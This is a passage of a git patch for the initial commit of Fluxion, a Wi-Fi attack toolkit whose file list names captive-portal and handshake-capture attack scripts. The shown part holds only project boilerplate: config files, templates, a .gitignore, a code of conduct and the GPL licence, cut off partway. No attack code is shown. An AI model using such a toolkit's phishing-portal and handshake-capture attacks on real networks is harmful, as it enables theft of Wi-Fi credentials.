From 911858780a1bf532b5f831dd791bac3086b6c9b5 Mon Sep 17 00:00:00 2001 From: deltaxflux Date: Fri, 3 Aug 2018 20:48:31 +0200 Subject: [PATCH 01/26] Inital commit: - Push fluxion 1.0 (stable) - Update devices list - Fix ChipsetUtils - Rename Help.sh to HelpUtils.sh - Minor diagnostic bug fixes - Include all changes until 4.16 --- .editorconfig | 18 + .gitattributes | 191 ++ .github/ISSUE_TEMPLATE/Bug.md | 34 + .github/ISSUE_TEMPLATE/Feature.md | 16 + .github/ISSUE_TEMPLATE/Support.md | 26 + .github/PULL_REQUEST_TEMPLATE/Improvement.md | 16 + .github/PULL_REQUEST_TEMPLATE/Other.md | 18 + .gitignore | 210 ++ .gitmodules | 3 + .project | 11 + CODE_OF_CONDUCT.md | 46 + CONTRIBUTING.md | 10 + LICENSE | 674 +++++ README.md | 87 + _config.yml | 1 + attacks/Captive Portal/attack.sh | 1493 +++++++++++ attacks/Captive Portal/generic/assets | 2217 +++++++++++++++++ .../generic/languages/Arabic.lang | 10 + .../generic/languages/Bulgarian.lang | 10 + .../generic/languages/Chinese.lang | 10 + .../generic/languages/Czech.lang | 10 + .../generic/languages/Danish.lang | 10 + .../generic/languages/Dutch.lang | 10 + .../generic/languages/English.lang | 10 + .../generic/languages/French.lang | 10 + .../generic/languages/German.lang | 10 + .../generic/languages/Greek.lang | 10 + .../generic/languages/Hebrew.lang | 10 + .../generic/languages/Hungarian.lang | 10 + .../generic/languages/Indonesian.lang | 10 + .../generic/languages/Italian.lang | 10 + .../generic/languages/Norweigan.lang | 10 + .../generic/languages/Polish.lang | 10 + .../generic/languages/Portuguese.lang | 10 + .../generic/languages/Romanian.lang | 10 + .../generic/languages/Russian.lang | 10 + .../generic/languages/Serbian.lang | 10 + .../generic/languages/Slovak.lang | 10 + .../generic/languages/Slovenian.lang | 10 + .../generic/languages/Spanish.lang | 10 + .../generic/languages/Thai.lang | 10 + .../generic/languages/Turkish.lang | 10 + attacks/Captive Portal/language/ar.sh | 35 + attacks/Captive Portal/language/cs.sh | 35 + attacks/Captive Portal/language/de.sh | 35 + attacks/Captive Portal/language/el.sh | 35 + attacks/Captive Portal/language/en.sh | 35 + attacks/Captive Portal/language/es.sh | 35 + attacks/Captive Portal/language/fr.sh | 35 + attacks/Captive Portal/language/it.sh | 35 + attacks/Captive Portal/language/pl.sh | 35 + attacks/Captive Portal/language/pt-br.sh | 35 + attacks/Captive Portal/language/ro.sh | 35 + attacks/Captive Portal/language/ru.sh | 35 + attacks/Captive Portal/language/sk.sh | 35 + attacks/Captive Portal/language/sl.sh | 35 + attacks/Captive Portal/language/tk.sh | 35 + attacks/Captive Portal/language/zh.sh | 35 + attacks/Handshake Snooper/attack.sh | 501 ++++ attacks/Handshake Snooper/language/ar.sh | 31 + attacks/Handshake Snooper/language/cs.sh | 31 + attacks/Handshake Snooper/language/de.sh | 31 + attacks/Handshake Snooper/language/el.sh | 31 + attacks/Handshake Snooper/language/en.sh | 31 + attacks/Handshake Snooper/language/es.sh | 31 + attacks/Handshake Snooper/language/fr.sh | 31 + attacks/Handshake Snooper/language/it.sh | 31 + attacks/Handshake Snooper/language/pl.sh | 31 + attacks/Handshake Snooper/language/pt-br.sh | 31 + attacks/Handshake Snooper/language/ro.sh | 31 + attacks/Handshake Snooper/language/ru.sh | 31 + attacks/Handshake Snooper/language/sk.sh | 31 + attacks/Handshake Snooper/language/sl.sh | 31 + attacks/Handshake Snooper/language/tk.sh | 31 + attacks/Handshake Snooper/language/zh.sh | 31 + bin/arch/PKGBUILD | 66 + docs/man/fluxion.1 | 76 + docs/man/fluxion.man | 92 + fluxion.sh | 1890 ++++++++++++++ language/ar.sh | 98 + language/cs.sh | 98 + language/de.sh | 98 + language/el.sh | 98 + language/en.sh | 98 + language/es.sh | 98 + language/fr.sh | 98 + language/it.sh | 98 + language/pl.sh | 98 + language/pt-br.sh | 98 + language/ro.sh | 98 + language/ru.sh | 98 + language/sk.sh | 98 + language/sl.sh | 98 + language/tk.sh | 98 + language/zh.sh | 98 + logos/logo.jpg | Bin 0 -> 152551 bytes misc/devices.xml | 2164 ++++++++++++++++ preferences/.gitkeep | 0 scripts/debug.sh | 6 + scripts/diagnostics.sh | 111 + scripts/preferences.sh | 6 + 101 files changed, 12857 insertions(+) create mode 100644 .editorconfig create mode 100644 .gitattributes create mode 100644 .github/ISSUE_TEMPLATE/Bug.md create mode 100644 .github/ISSUE_TEMPLATE/Feature.md create mode 100644 .github/ISSUE_TEMPLATE/Support.md create mode 100644 .github/PULL_REQUEST_TEMPLATE/Improvement.md create mode 100644 .github/PULL_REQUEST_TEMPLATE/Other.md create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 .project create mode 100644 CODE_OF_CONDUCT.md create mode 100644 CONTRIBUTING.md create mode 100644 LICENSE create mode 100644 README.md create mode 100644 _config.yml create mode 100755 attacks/Captive Portal/attack.sh create mode 100644 attacks/Captive Portal/generic/assets create mode 100644 attacks/Captive Portal/generic/languages/Arabic.lang create mode 100644 attacks/Captive Portal/generic/languages/Bulgarian.lang create mode 100644 attacks/Captive Portal/generic/languages/Chinese.lang create mode 100644 attacks/Captive Portal/generic/languages/Czech.lang create mode 100644 attacks/Captive Portal/generic/languages/Danish.lang create mode 100644 attacks/Captive Portal/generic/languages/Dutch.lang create mode 100644 attacks/Captive Portal/generic/languages/English.lang create mode 100644 attacks/Captive Portal/generic/languages/French.lang create mode 100644 attacks/Captive Portal/generic/languages/German.lang create mode 100644 attacks/Captive Portal/generic/languages/Greek.lang create mode 100644 attacks/Captive Portal/generic/languages/Hebrew.lang create mode 100644 attacks/Captive Portal/generic/languages/Hungarian.lang create mode 100644 attacks/Captive Portal/generic/languages/Indonesian.lang create mode 100644 attacks/Captive Portal/generic/languages/Italian.lang create mode 100644 attacks/Captive Portal/generic/languages/Norweigan.lang create mode 100644 attacks/Captive Portal/generic/languages/Polish.lang create mode 100644 attacks/Captive Portal/generic/languages/Portuguese.lang create mode 100644 attacks/Captive Portal/generic/languages/Romanian.lang create mode 100644 attacks/Captive Portal/generic/languages/Russian.lang create mode 100644 attacks/Captive Portal/generic/languages/Serbian.lang create mode 100644 attacks/Captive Portal/generic/languages/Slovak.lang create mode 100644 attacks/Captive Portal/generic/languages/Slovenian.lang create mode 100644 attacks/Captive Portal/generic/languages/Spanish.lang create mode 100644 attacks/Captive Portal/generic/languages/Thai.lang create mode 100644 attacks/Captive Portal/generic/languages/Turkish.lang create mode 100644 attacks/Captive Portal/language/ar.sh create mode 100755 attacks/Captive Portal/language/cs.sh create mode 100755 attacks/Captive Portal/language/de.sh create mode 100755 attacks/Captive Portal/language/el.sh create mode 100755 attacks/Captive Portal/language/en.sh create mode 100755 attacks/Captive Portal/language/es.sh create mode 100755 attacks/Captive Portal/language/fr.sh create mode 100755 attacks/Captive Portal/language/it.sh create mode 100755 attacks/Captive Portal/language/pl.sh create mode 100755 attacks/Captive Portal/language/pt-br.sh create mode 100755 attacks/Captive Portal/language/ro.sh create mode 100755 attacks/Captive Portal/language/ru.sh create mode 100644 attacks/Captive Portal/language/sk.sh create mode 100755 attacks/Captive Portal/language/sl.sh create mode 100755 attacks/Captive Portal/language/tk.sh create mode 100755 attacks/Captive Portal/language/zh.sh create mode 100755 attacks/Handshake Snooper/attack.sh create mode 100644 attacks/Handshake Snooper/language/ar.sh create mode 100755 attacks/Handshake Snooper/language/cs.sh create mode 100755 attacks/Handshake Snooper/language/de.sh create mode 100755 attacks/Handshake Snooper/language/el.sh create mode 100755 attacks/Handshake Snooper/language/en.sh create mode 100755 attacks/Handshake Snooper/language/es.sh create mode 100755 attacks/Handshake Snooper/language/fr.sh create mode 100755 attacks/Handshake Snooper/language/it.sh create mode 100755 attacks/Handshake Snooper/language/pl.sh create mode 100755 attacks/Handshake Snooper/language/pt-br.sh create mode 100755 attacks/Handshake Snooper/language/ro.sh create mode 100755 attacks/Handshake Snooper/language/ru.sh create mode 100644 attacks/Handshake Snooper/language/sk.sh create mode 100755 attacks/Handshake Snooper/language/sl.sh create mode 100755 attacks/Handshake Snooper/language/tk.sh create mode 100755 attacks/Handshake Snooper/language/zh.sh create mode 100644 bin/arch/PKGBUILD create mode 100644 docs/man/fluxion.1 create mode 100644 docs/man/fluxion.man create mode 100755 fluxion.sh create mode 100644 language/ar.sh create mode 100755 language/cs.sh create mode 100755 language/de.sh create mode 100755 language/el.sh create mode 100755 language/en.sh create mode 100755 language/es.sh create mode 100755 language/fr.sh create mode 100755 language/it.sh create mode 100644 language/pl.sh create mode 100755 language/pt-br.sh create mode 100755 language/ro.sh create mode 100755 language/ru.sh create mode 100644 language/sk.sh create mode 100755 language/sl.sh create mode 100755 language/tk.sh create mode 100755 language/zh.sh create mode 100644 logos/logo.jpg create mode 100644 misc/devices.xml create mode 100644 preferences/.gitkeep create mode 100755 scripts/debug.sh create mode 100755 scripts/diagnostics.sh create mode 100755 scripts/preferences.sh diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..0b79d02 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,18 @@ +root = true + +[*] +end_of_line = lf +insert_final_newline = true +max_line_length=120 + +[*.sh] +indent_style = tab +indent_size = 4 +charset = utf-8 +trim_trailing_whitespace = true + +[*.py] +indent_size = 4 + +[*.md] +trim_trailing_whitespace = false diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..14bfd12 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,191 @@ +## GITATTRIBUTES FOR WEB PROJECTS +# +# These settings are for any web project. +# +# Details per file setting: +# text These files should be normalized (i.e. convert CRLF to LF). +# binary These files are binary and should be left untouched. +# +# Note that binary is a macro for -text -diff. +###################################################################### + +## AUTO-DETECT +## Handle line endings automatically for files detected as +## text and leave all files detected as binary untouched. +## This will handle all files NOT defined below. +* text=auto + +languages/* text eol=lf + +## SOURCE CODE +*.bat text eol=crlf +*.coffee text +*.css text +*.htm text +*.html text +*.inc text +*.ini text +*.js text +*.json text +*.jsx text +*.less text +*.od text +*.onlydata text +*.php text +*.pl text +*.py text +*.rb text +*.sass text +*.scm text +*.scss text +*.sh text eol=lf +*.sql text +*.styl text +*.tag text +*.ts text +*.tsx text +*.xml text +*.xhtml text + +## DOCKER +*.dockerignore text +Dockerfile text + +## DOCUMENTATION +*.markdown text +*.md text +*.mdwn text +*.mdown text +*.mkd text +*.mkdn text +*.mdtxt text +*.mdtext text +*.txt text +AUTHORS text +CHANGELOG text +CHANGES text +CONTRIBUTING text +COPYING text +copyright text +*COPYRIGHT* text +INSTALL text +license text +LICENSE text +NEWS text +readme text +*README* text +TODO text + +## TEMPLATES +*.dot text +*.ejs text +*.haml text +*.handlebars text +*.hbs text +*.hbt text +*.jade text +*.latte text +*.mustache text +*.njk text +*.phtml text +*.tmpl text +*.tpl text +*.twig text + +## LINTERS +.csslintrc text +.eslintrc text +.jscsrc text +.jshintrc text +.jshintignore text +.stylelintrc text + +## CONFIGS +*.bowerrc text +*.cnf text +*.conf text +*.config text +.browserslistrc text +.editorconfig text +.gitattributes text +.gitconfig text +.gitignore text +.htaccess text +*.npmignore text +*.yaml text +*.yml text +browserslist text +Makefile text +makefile text + +## HEROKU +Procfile text +.slugignore text + +## GRAPHICS +*.ai binary +*.bmp binary +*.eps binary +*.gif binary +*.ico binary +*.jng binary +*.jp2 binary +*.jpg binary +*.jpeg binary +*.jpx binary +*.jxr binary +*.pdf binary +*.png binary +*.psb binary +*.psd binary +*.svg text +*.svgz binary +*.tif binary +*.tiff binary +*.wbmp binary +*.webp binary + +## AUDIO +*.kar binary +*.m4a binary +*.mid binary +*.midi binary +*.mp3 binary +*.ogg binary +*.ra binary + +## VIDEO +*.3gpp binary +*.3gp binary +*.as binary +*.asf binary +*.asx binary +*.fla binary +*.flv binary +*.m4v binary +*.mng binary +*.mov binary +*.mp4 binary +*.mpeg binary +*.mpg binary +*.swc binary +*.swf binary +*.webm binary + +## ARCHIVES +*.7z binary +*.gz binary +*.rar binary +*.tar binary +*.zip binary + +## FONTS +*.ttf binary +*.eot binary +*.otf binary +*.woff binary +*.woff2 binary + +## EXECUTABLES +*.exe binary +*.pyc binary \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/Bug.md b/.github/ISSUE_TEMPLATE/Bug.md new file mode 100644 index 0000000..5d295cb --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Bug.md @@ -0,0 +1,34 @@ +--- +name: Bug Report +about: Something is broken? +--- + + + +### Bug Report + +#### Summary + + +##### What is the current behaviour? + + +#### How to reproduce + +##### If the current behaviour is a bug, please provide the steps to reproduce it. + + +##### What do you think the expected behaviour should be? + + +##### If this is a feature request, what is the motivation or use case for the added feature? + +##### Specs +*Paste the output of `./script/diagnostics.sh [interface]`* + +#### Expected behavior + diff --git a/.github/ISSUE_TEMPLATE/Feature.md b/.github/ISSUE_TEMPLATE/Feature.md new file mode 100644 index 0000000..9adde8b --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Feature.md @@ -0,0 +1,16 @@ +--- +name: Feature Request +about: You have a neat idea that should be implemented? +--- + +### Feature Request + + +| Q | A +|------------ | ------ +| New Feature | yes +| RFC | yes/no +| BC Break | yes/no + +#### Summary + diff --git a/.github/ISSUE_TEMPLATE/Support.md b/.github/ISSUE_TEMPLATE/Support.md new file mode 100644 index 0000000..ce60180 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Support.md @@ -0,0 +1,26 @@ +--- +name: ❓ Support Question +about: Have a problem that you can't figure out? +--- + + + + +| Q | A +|------------ | ----- +| Version | 4.10.x + + + +#### Support Question + + +#### Specs + diff --git a/.github/PULL_REQUEST_TEMPLATE/Improvement.md b/.github/PULL_REQUEST_TEMPLATE/Improvement.md new file mode 100644 index 0000000..10ae457 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE/Improvement.md @@ -0,0 +1,16 @@ +--- +name: Improvement +about: You have some improvement to make Fluxion better? +--- + +### Improvement + + +| Q | A +|------------ | ------ +| New Feature | yes +| RFC | yes/no +| BC Break | yes/no + +#### Summary + diff --git a/.github/PULL_REQUEST_TEMPLATE/Other.md b/.github/PULL_REQUEST_TEMPLATE/Other.md new file mode 100644 index 0000000..65da67e --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE/Other.md @@ -0,0 +1,18 @@ +--- +name: Other +about: You have some other ideas you want to introduce? +--- + + + +**What kind of change does this PR introduce?** + + +**Summary** + + + +**Does this PR introduce a breaking change?** + + +**Other information** diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..90dc172 --- /dev/null +++ b/.gitignore @@ -0,0 +1,210 @@ + +# Custom files +*~ +*.swp +*.swo +*.cap +*.log +*.conf +*.lock +*.save +*.backup + +# Compiled Object files +*.slo +*.lo +*.o +*.obj + +# Precompiled Headers +*.gch +*.pch + +# Compiled Dynamic libraries +*.so +*.dylib +*.dll + +# Fortran module files +*.mod +*.smod + +# Compiled Static libraries +*.lai +*.la +*.a +*.lib + +# Executables +*.exe +*.out +*.app + +### Calabash ### +# Calabash / Cucumber +rerun/ +reports/ +screenshots/ +screenshot*.png +test-servers/ + +# bundler +.bundle +vendor + +### Python ### +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule.* + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ + +### SublimeText ### +# cache files for sublime text +*.tmlanguage.cache +*.tmPreferences.cache +*.stTheme.cache + +# workspace files are user-specific +*.sublime-workspace + +# project files should be checked into the repository, unless a significant +# proportion of contributors will probably not be using SublimeText +# *.sublime-project + +# sftp configuration file +sftp-config.json + +# Package control specific files +Package Control.last-run +Package Control.ca-list +Package Control.ca-bundle +Package Control.system-ca-bundle +Package Control.cache/ +Package Control.ca-certs/ +Package Control.merged-ca-bundle +Package Control.user-ca-bundle +oscrypto-ca-bundle.crt +bh_unicode_properties.cache + +# Sublime-github package stores a github token in this file +# https://packagecontrol.io/packages/sublime-github +GitHub.sublime-settings + +### Vim ### +# swap +.sw[a-p] +.*.sw[a-p] +# session +Session.vim +# temporary +.netrwhist +*~ +# auto-generated tag files +tags + +### VisualStudioCode ### +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +.history + +### Misc ### +iptables-rules diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..b7adfeb --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "attacks/Captive Portal/sites"] + path = attacks/Captive Portal/sites + url = https://github.com/FluxionNetwork/sites diff --git a/.project b/.project new file mode 100644 index 0000000..6ab8b19 --- /dev/null +++ b/.project @@ -0,0 +1,11 @@ + + + Fluxion + + + + + + + + diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..eaf09ef --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at deltax.fluxion@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..ce09879 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,10 @@ +# Adding language files +1. Copy the English language files from +``` +./attacks/Handshake Snooper/language/en.sh +./attacks/Captive Portal/language/en.sh +./language/en.sh +``` +2. Translate +3. Save them as `LANGUAGE_CODE.sh` to respective locations. +Resource: [LANGUAGE_CODE](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) (ISO 639-1) diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the 